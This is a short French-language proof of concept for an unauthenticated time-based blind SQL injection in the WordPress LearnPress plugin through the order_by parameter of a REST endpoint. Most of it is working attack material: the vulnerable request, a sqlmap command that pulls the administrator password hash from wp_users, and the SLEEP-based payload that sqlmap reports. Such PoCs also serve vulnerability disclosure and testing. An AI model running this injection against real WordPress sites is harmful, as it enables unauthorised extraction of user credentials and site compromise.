
Preuve de concept d'exploitation pour une injection SQL aveugle basée sur le temps dans le plugin WordPress LearnPress, permettant à des attaquants non authentifiés d'extraire des données sensibles via le paramètre `order_by`.
Injection SQL basée sur le temps
Description Le plugin ne nettoie et n'échappe pas correctement le paramètre order_by avant de l'utiliser dans une requête SQL, ce qui entraîne une injection SQL exploitable par des utilisateurs non authentifiés
Requête GET vulnérable : https://vulnerablewordpress.com/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID&order=DESC&limit=10&return_type=html
Enregistrer la requête GET
sqlmap -r ~/sqli.req -p order_by --technique=T --sql-query = 'select user_pass from wp_users where id = 1'
sqlmap a repris le(s) point(s) d'injection suivant(s) à partir de la session enregistrée :
Paramètre : #1* (URI) Type : aveugle basé sur le temps Titre : MySQL >= 5.0.12 AND aveugle basé sur le temps (requête SLEEP) Payload : https://VULNERABLEWORDPRESS/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID AND (SELECT 7508 FROM (SELECT(SLEEP(5)))VVvd)&order=DESC&limit=10&return_type=html